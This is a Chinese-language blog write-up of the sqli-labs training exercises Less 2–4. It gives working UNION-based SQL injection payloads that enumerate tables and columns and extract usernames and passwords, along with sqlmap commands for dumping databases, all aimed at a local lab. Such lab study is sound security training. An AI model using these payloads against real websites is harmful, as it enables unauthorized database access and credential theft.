sql-lib-Less2-4

知识点总结:

16进制 : 0x3a
%20 空格

order by判断字段数

利用union select 联合查询(默认只会返回第一个结果,所以改为0用于爆破),获取表名,group_concat()连接字符串
0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

查询字段名
0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

获取字段值
0’ union select 1,group_concat(username,0x3a,password),3 from users–+

实战技巧:
http://localhost/sqli/Less-1/?id=0’ +UNION+ALL+SELECT+1,2,3–+
//观察网页中的回显位置来确定可以利用的字段数,并且可以利用回显位置查询函数user(),version(),database()
//具体结合以上方法来变通

sqlmap基本使用

探测数据库
sqlmap.py -u “站点” --dbs --batch

根据数据库探测表
sqlmap.py -u “站点” -D 数据库名 --tables --batch

根据表名探测字段名
sqlmap.py -u “站点” -D 数据库名 -T 表名 --columns --batch

根据字段名探测字段值
sqlmap.py -u “站点” -D 数据库名 -T 表名 -C 字段名 --dump --batch
不同字段名之间可以使用逗号

Less 2手工注入

1.?id=1’ 回显错误 错误信息:’ LIMIT 0,1 可知,输入的1被正常闭合
所以sql语句中判定条件id = id
因此,通过?id = 1 order by --+ 爆破字段数,得到字段数为3

寻找可利用的位置: ?id=0 +UNION+ALL+SELECT+1,2,3–+ 发现2,3可利用
在这里插入图片描述
爆破表名:?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()–+在这里插入图片描述
爆破字段名:?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = ‘users’–+在这里插入图片描述
获取账号密码:?id=0 union select 1,group_concat(username,password),3 from users–+
也可以在username和password中间增加0x3a,代表冒号,起连接作用在这里插入图片描述
Less3
?id=1’ 报出错误信息:‘1’’) LIMIT 0,1 分析可知:输入的1’右边有‘),那么左边一定有('用来闭合。
错误原因应该是id = ('1")

爆破字段时应该用 ?id=1’) order by 数字–+ 闭合sql语句中的(’
其余与上题类似

Less4
?id=1’ 未报出错误信息
?id=1" 报出错误信息:“1"”) LIMIT 0,1 与第三题类似,原语句中为id = (“id”)

因此手工注入应该用“)闭合前面的括号和双引号,加入语句,–+注释掉后面的内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值